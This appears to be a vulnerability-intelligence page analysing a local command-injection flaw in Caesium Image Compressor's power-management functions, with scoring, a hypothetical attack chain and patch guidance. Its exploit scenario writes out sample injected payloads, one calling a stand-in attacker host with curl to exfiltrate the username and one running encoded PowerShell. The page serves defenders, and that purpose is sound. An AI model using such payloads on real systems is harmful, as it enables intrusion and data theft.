Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessGain local authenticated access
-
DeliveryModify post-compression action parameters
-
ExploitInject shell metacharacters into shutdown/sleep commands
-
ExecutionTrigger post-compression workflow
-
PersistExecute arbitrary OS commands via system()
-
ImpactAchieve code execution with application privileges
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires local authenticated access (PR:L) to a system running vulnerable Caesium Image Compressor versions (commit 02da2c6 or earlier). The attacker must invoke the shutdownMachine or putMachineToSleep functions in PostCompressionActions.cpp, which are triggered during post-compression power management workflows. Exploitation depends on whether user-controlled data flows into the system() call parameters - the PR diff shows hardcoded command strings, suggesting the vulnerability may require the attacker to modify configuration files, environment variables, or other local inputs that influence command construction. The CVSS vector (AV:L/AC:L/UI:N) confirms no network access, low attack complexity, and no user interaction beyond the attacker's own actions. Exploitation is limited to scenarios where the application is configured to execute post-compression power management actions and the attacker has write access to files or settings that influence those commands. Cross-platform applicability: affects Windows, Linux, and macOS installations with platform-specific command injection payloads. |
| Impact | Real-world risk is moderate despite the 7.8 CVSS score. The CVSS vector (AV:L/AC:L/PR:L/UI:N) confirms local access with low-privilege authentication is required - not a network-exposed vulnerability. EPSS score of 0.02% (5th percentile) suggests minimal observed exploitation activity, consistent with the lack of CISA KEV listing. The attack requires the attacker to already have local shell or GUI access to the victim's workstation and the ability to influence parameters passed to post-compression power management features - a relatively niche attack surface compared to network-facing command injection. However, AC:L (low complexity) and the availability of source code make exploitation straightforward once local access is achieved. The High scope ratings (C:H/I:H/A:H) reflect that successful exploitation yields full OS-level code execution with the privileges of the application user. No public weaponized exploit identified beyond the researcher advisory. Priority should be medium: patch systems where Caesium runs with elevated privileges or in multi-user environments; lower urgency for single-user desktop installations with standard endpoint protections. The simultaneous fix for API endpoint hijacking (CWE-346) in the same PR indicates the codebase had multiple input validation gaps, suggesting thorough security review was overdue. |
| Exploit ScenarioDerived | An attacker with local authenticated access to a workstation running Caesium Image Compressor manipulates input to the post-compression actions feature, injecting shell metacharacters into parameters passed to shutdownMachine or putMachineToSleep functions. For example, if the application allows user-controlled strings to influence the command construction (via configuration files, command-line arguments, or GUI inputs), the attacker injects a payload like "; curl http://attacker.com/$(whoami) #" into the shutdown command. The vulnerable system() call executes the injected code, exfiltrating the current username to the attacker's server before the intended shutdown occurs. On Windows, the attacker could inject "& powershell -enc <base64_payload> &" to execute arbitrary PowerShell. Because PR:L indicates low privileges are sufficient and UI:N means no user interaction is required once the malicious input is in place, the attack can execute silently during automated post-compression workflows. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 05, 2026
Command injection in Caesium Image Compressor (all versions through commit 02da2c6) allows local authenticated attackers to execute arbitrary OS commands via unsanitized input to shutdownMachine and putMachineToSleep functions in PostCompressionActions.cpp. The vulnerable code uses system() calls without input validation, enabling shell metacharacter injection during post-compression power management operations. Patch available via GitHub PR #376 replacing system() with QProcess::startDetached(). EPSS score of 0.02% (5th percentile) indicates low observed exploitation probability. No evidence of active exploitation or public POC beyond the researcher's advisory.
RemediationAI
Update to Caesium Image Compressor versions incorporating the fix from GitHub PR #376 (https://github.com/Lymphatus/caesium-image-compressor/pull/376), which replaces vulnerable system() calls with QProcess::startDetached() using explicit argument arrays. As of this analysis, the patch is merged but a tagged release version containing the fix is not independently confirmed - users should build from the main branch post-merge or await an official release announcement from Lymphatus. The PR diff shows the fix eliminates shell invocation entirely by passing commands and arguments as separate QStringList elements to QProcess, preventing shell metacharacter interpretation. If upgrading is not immediately feasible, disable or restrict access to post-compression power management features (shutdown/sleep actions) within the application settings or via application allow-listing policies. Note that restricting the application's execution privileges (running as a standard user rather than administrator) limits the impact of command injection to user-level access but does not prevent exploitation. For enterprise deployments, consider application control policies that prevent Caesium from invoking system power management commands. The same PR also addresses an API endpoint validation vulnerability (CWE-346), so the update provides defense-in-depth benefits beyond the command injection fix.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability affects Caesium Image Compressor, a Qt-based desktop image compression utility. The flaw resides in CWE-77 (Improper Neutralization of Special Elements used in a Command) implementation within PostCompressionActions.cpp. The vulnerable functions invoke platform-specific shutdown/sleep commands using the C standard library system() function, which spawns a shell interpreter to execute commands. On Windows, calls like system("shutdown /s") and system("rundll32.exe powrprof.dll,SetSuspendState 0,1,0") are vulnerable; on Linux/macOS, system("shutdown -h now"), system("pmset sleepnow"), and system("systemctl suspend") exhibit the same weakness. Because system() passes the entire string to a shell (cmd.exe on Windows, /bin/sh on Unix), attackers can inject shell metacharacters (semicolons, pipes, backticks, environment variable expansions) if any part of the command string derives from attacker-controlled input. The PR diff shows the fix replaces all system() invocations with QProcess::startDetached() using explicit argument arrays, which bypasses shell interpretation entirely. The vulnerability is classified as OS Command Injection (the advisory mentions CWE-78 specifically, a child of CWE-77). The affected CPE string cpe:2.3:a:n/a:n/a indicates incomplete vendor/product enumeration in NVD data.
Know when N A gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from NVD.
CVSS VectorNVD
Lifecycle Timeline
2DescriptionCVE.org
An issue in Lymphatus caesium-image-compressor All versions up to and including commit 02da2c6 allows a local attacker to execute arbitrary code via the shutdownMachine and putMachineToSleep functions in PostCompressionActions.cpp
Executive ViewAI
Caesium Image Compressor versions through commit 02da2c6 contain a command injection vulnerability in post-compression power management functions that allows authenticated local users to execute arbitrary system commands. This affects organizations using Caesium for batch image processing where user accounts have access to the application, potentially enabling privilege escalation or lateral movement by low-privileged users.
Disable post-compression power management features in Caesium configuration to prevent exploitation vectors. Restrict Caesium access to trusted administrators only and implement application-level access controls. Monitor for suspicious process execution originating from Caesium processes.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
LibreNMS before 24.10.0 allows a remote attacker to execute arbitrary code via OS command injection involving AboutContr
Reachable assertion in Open5GS up to version 2.7.6 allows remote unauthenticated attackers to crash the Diameter CER han
A Command Injection issue in the payload build page in BYOB (Build Your Own Botnet) 2.0 allows attackers to execute arbi
Denial of service in Open5GS 2.7.6 and earlier allows network-adjacent attackers with low-privilege Diameter Gx peer acc
Denial of service in Open5GS HSS (Home Subscriber Server) versions 2.7.0 through 2.7.6 is triggered remotely by manipula
Remote command injection in Control Web Panel allows unauthenticated attackers to execute arbitrary OS commands as root
LINQPad before 5.52.01 Pro edition is vulnerable to Unsafe Deserialization in LINQPad.AutoRefManager::PopulateFromCache(
Remote code execution in dash-uploader (Python package for Plotly Dash) versions 0.1.0 through 0.7.0a2 allows unauthenti
Command injection in LiteLLM 1.18.10 lets attackers who can configure MCP (Model Context Protocol) servers supply arbitr
SQL injection in AzuraCast's backup restore flow (versions up to and including 0.23.7) lets an attacker achieve privileg
Arbitrary file read in Yu AI Code Mother v4.3 lets anonymous, remote attackers retrieve files outside the intended previ
Remote code execution in APScheduler (all versions through 3.10.x and 4.0.0a5) is achievable when applications deseriali
EUVD-2026-26976
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB